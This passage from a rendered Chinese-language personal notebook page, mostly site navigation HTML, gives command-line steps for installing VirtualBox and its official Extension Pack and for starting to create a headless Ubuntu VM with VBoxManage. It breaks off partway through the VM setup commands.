type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          Linux-VirtualBox\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        Linux-VirtualBox\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    下载\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    一定要安装额外包\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    创建虚拟机，设置虚拟机选项\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    启动虚拟机\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    控制虚拟机\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    删除硬盘\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    运行条件下修改端口映射\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_8\" class=\"md-nav__link\">\n    运行条件下关闭远程控制\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_9\" class=\"md-nav__link\">\n    屏幕截图\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_10\" class=\"md-nav__link\">\n    优雅的关机\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#vrde\" class=\"md-nav__link\">\n    开启vrde远程桌面\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#vdi\" class=\"md-nav__link\">\n    从硬盘+快照vdi文件恢复\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    下载\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    一定要安装额外包\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    创建虚拟机，设置虚拟机选项\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    启动虚拟机\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    控制虚拟机\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    删除硬盘\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    运行条件下修改端口映射\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_8\" class=\"md-nav__link\">\n    运行条件下关闭远程控制\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_9\" class=\"md-nav__link\">\n    屏幕截图\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_10\" class=\"md-nav__link\">\n    优雅的关机\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#vrde\" class=\"md-nav__link\">\n    开启vrde远程桌面\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#vdi\" class=\"md-nav__link\">\n    从硬盘+快照vdi文件恢复\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"virtualbox\">VirtualBox<a class=\"headerlink\" href=\"#virtualbox\" title=\"Permanent link\">&para;</a></h1>\n<blockquote>\n<p>参考 https://www.howtoforge.com/tutorial/running-virtual-machines-with-virtualbox-5.1-on-a-headless-ubuntu-16.04-lts-server/</p>\n</blockquote>\n<p>在linux终端下使用VBoxManage和VBoxHeadless创建、启动、控制一个Ubuntu14.04 64Bit的虚拟机</p>\n<h2 id=\"_1\">下载<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h2>\n<p>http://www.virtualbox.org/wiki/Downloads</p>\n<p>从官网找到对应的rpm或deb下载即可</p>\n<blockquote>\n<p>rpm文件的安装：</p>\n<p>rpm -ivh something.rpm</p>\n<p>deb文件的安装</p>\n<p>dpkg -i something.rpm</p>\n</blockquote>\n<p>执行<code>dpkg -i</code>后需要执行<code>apt-get -f install</code>以安装缺失的依赖包</p>\n<h2 id=\"_2\">一定要安装额外包<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">cd</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">tmp</span>\n<span class=\"n\">wget</span><span class=\"w\"> </span><span class=\"n\">http</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"n\">download</span><span class=\"o\">.</span><span class=\"n\">virtualbox</span><span class=\"o\">.</span><span class=\"n\">org</span><span class=\"o\">/</span><span class=\"n\">virtualbox</span><span class=\"o\">/</span><span class=\"mf\">5.1</span><span class=\"o\">.</span><span class=\"mi\">16</span><span class=\"o\">/</span><span class=\"n\">Oracle_VM_VirtualBox_Extension_Pack</span><span class=\"o\">-</span><span class=\"mf\">5.1</span><span class=\"o\">.</span><span class=\"mi\">16</span><span class=\"o\">-</span><span class=\"mf\">113841.</span><span class=\"n\">vbox</span><span class=\"o\">-</span><span class=\"n\">extpack</span>\n<span class=\"n\">sudo</span><span class=\"w\"> </span><span class=\"n\">VBoxManage</span><span class=\"w\"> </span><span class=\"n\">extpack</span><span class=\"w\"> </span><span class=\"n\">install</span><span class=\"w\"> </span><span class=\"n\">Oracle_VM_VirtualBox_Extension_Pack</span><span class=\"o\">-</span><span class=\"mf\">5.1</span><span class=\"o\">.</span><span class=\"mi\">16</span><span class=\"o\">-</span><span class=\"mf\">113841.</span><span class=\"n\">vbox</span><span class=\"o\">-</span><span class=\"n\">extpack</span>\n</code></pre></div>\n\n<h2 id=\"_3\">创建虚拟机，设置虚拟机选项<a class=\"headerlink\" href=\"#_3\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">mkdir</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">p</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">home</span><span class=\"o\">/</span><span class=\"n\">virtualbox</span>\n<span class=\"n\">VBoxManage</span><span class=\"w\"> </span><span class=\"n\">createvm</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">name</span><span class=\"w\"> </span><span class=\"n\">ubuntu</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">ostype</span><span class=\"w\"> </span><span class=\"s\">&quot;Ubuntu_64&quot;</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">register</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">basefolder</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">home</span><span class=\"o\">/</span><span class=\"n\">virtualbox</span><span class=\"o\">/</span>\n<span class=\"n\">VBoxManage</span><span class=\"w\"> </span><span class=\"n\">createvdi</span><span class=\"w\">  </span><span class=\"o\">--</span><span class=\"n\">filename</span><span class=\"w\"> </span><span class=\"n\">ubuntu</span><span class=\"o\">/</span><span class=\"n\">ubuntu</span><span class=\"p\">.</span><span class=\"n\">vdi</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">size</span><span class=\"w\"> </span><span class=\"mh\">102400</span><span class=\"w\"> </span><span class=\"p\">#</span><span class=\"w\"> </span><span class=\"mh\">100</span><span class=\"n\">GB</span>\n<span class=\"n\">VBoxManage</span><span class=\"w\"> </span><span class=\"n\">storagectl</span><span class=\"w\"> </span><span class=\"n\">ubuntu</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">name</span><span class=\"w\"> </span><span class=\"n\">storage_controller_1</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">add</span><span class=\"w\"> </span><span class=\"n\">ide</span>\n<span class=\"n\">VBoxManage</span><span class=\"w\"> 